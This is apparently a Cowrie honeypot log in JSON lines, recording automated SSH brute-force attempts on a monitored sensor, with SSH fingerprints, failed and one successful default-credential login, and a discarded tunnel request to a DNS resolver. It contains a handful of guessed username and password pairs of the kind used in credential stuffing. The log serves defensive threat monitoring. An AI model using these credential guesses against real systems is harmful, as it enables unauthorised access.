{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:10.421106Z","src_ip":"213.209.159.158","session":"cf3afbae2468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":53424,"dst_ip":"159.203.135.109","dst_port":22,"session":"74785bf9e384","protocol":"ssh","message":"New connection: 213.209.159.158:53424 (159.203.135.109:22) [session: 74785bf9e384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:10.508965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:12.772928Z","src_ip":"213.209.159.158","session":"74785bf9e384","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:12.778744Z","src_ip":"213.209.159.158","session":"74785bf9e384","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postfix","password":"postfix","message":"login attempt [postfix/postfix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:21.940832Z","src_ip":"213.209.159.158","session":"74785bf9e384","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":58400,"dst_ip":"159.203.135.109","dst_port":22,"session":"88417c8a4de4","protocol":"ssh","message":"New connection: 103.77.242.62:58400 (159.203.135.109:22) [session: 88417c8a4de4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:21.990991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:21.996026Z","src_ip":"103.77.242.62","session":"88417c8a4de4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:22.238106Z","src_ip":"103.77.242.62","session":"88417c8a4de4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19283746","message":"login attempt [root/19283746] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:22.963736Z","src_ip":"103.77.242.62","session":"88417c8a4de4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:24.209404Z","src_ip":"103.77.242.62","session":"88417c8a4de4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:25.207452Z","src_ip":"213.209.159.158","session":"74785bf9e384","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":29602,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca102772c725","protocol":"ssh","message":"New connection: 213.209.159.158:29602 (159.203.135.109:22) [session: ca102772c725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:25.289229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:27.819338Z","src_ip":"213.209.159.158","session":"ca102772c725","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:27.826001Z","src_ip":"213.209.159.158","session":"ca102772c725","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":53898,"dst_ip":"10.17.0.5","dst_port":22,"session":"90ddfd8dfa4b","protocol":"ssh","message":"New connection: 87.251.64.176:53898 (10.17.0.5:22) [session: 90ddfd8dfa4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:33.203722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:33.209376Z","src_ip":"87.251.64.176","session":"90ddfd8dfa4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:33.308907Z","src_ip":"87.251.64.176","session":"90ddfd8dfa4b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:33.597229Z","src_ip":"87.251.64.176","session":"90ddfd8dfa4b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:33.696251Z","session":"90ddfd8dfa4b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:33.794888Z","src_ip":"87.251.64.176","session":"90ddfd8dfa4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:34.029676Z","src_ip":"87.251.64.176","session":"90ddfd8dfa4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":48856,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a4e78cd362a","protocol":"ssh","message":"New connection: 176.32.39.21:48856 (10.17.0.5:22) [session: 2a4e78cd362a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:36.547941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:36.552854Z","src_ip":"176.32.39.21","session":"2a4e78cd362a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:36.669145Z","src_ip":"176.32.39.21","session":"2a4e78cd362a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root$#1","message":"login attempt [root/root$#1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:36.853637Z","src_ip":"213.209.159.158","session":"ca102772c725","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"prince","message":"login attempt [root/prince] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:37.020435Z","src_ip":"176.32.39.21","session":"2a4e78cd362a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:38.138442Z","src_ip":"176.32.39.21","session":"2a4e78cd362a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:40.433665Z","src_ip":"213.209.159.158","session":"ca102772c725","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":15626,"dst_ip":"159.203.135.109","dst_port":22,"session":"f070b4f501ef","protocol":"ssh","message":"New connection: 213.209.159.158:15626 (159.203.135.109:22) [session: f070b4f501ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:40.519087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:42.810417Z","src_ip":"213.209.159.158","session":"f070b4f501ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:42.814031Z","src_ip":"213.209.159.158","session":"f070b4f501ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":51220,"dst_ip":"10.17.0.5","dst_port":22,"session":"946bad35284b","protocol":"ssh","message":"New connection: 103.172.78.219:51220 (10.17.0.5:22) [session: 946bad35284b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:45.236220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:45.241280Z","src_ip":"103.172.78.219","session":"946bad35284b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:45.512699Z","src_ip":"103.172.78.219","session":"946bad35284b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eduard","message":"login attempt [root/eduard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:46.306654Z","src_ip":"103.172.78.219","session":"946bad35284b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:47.574914Z","src_ip":"103.172.78.219","session":"946bad35284b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.29785180091858,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:49.150378Z","src_ip":"152.42.224.71","session":"2e7e90e55498","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"1234","message":"login attempt [nagios/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:51.760129Z","src_ip":"213.209.159.158","session":"f070b4f501ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:55.282571Z","src_ip":"213.209.159.158","session":"f070b4f501ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":45242,"dst_ip":"159.203.135.109","dst_port":22,"session":"d90f3736ab3b","protocol":"ssh","message":"New connection: 213.209.159.158:45242 (159.203.135.109:22) [session: d90f3736ab3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:55.370204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:57.471246Z","src_ip":"213.209.159.158","session":"d90f3736ab3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:04:57.475361Z","src_ip":"213.209.159.158","session":"d90f3736ab3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root..123","message":"login attempt [root/root..123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:07.075932Z","src_ip":"213.209.159.158","session":"d90f3736ab3b","protocol":"ssh"}
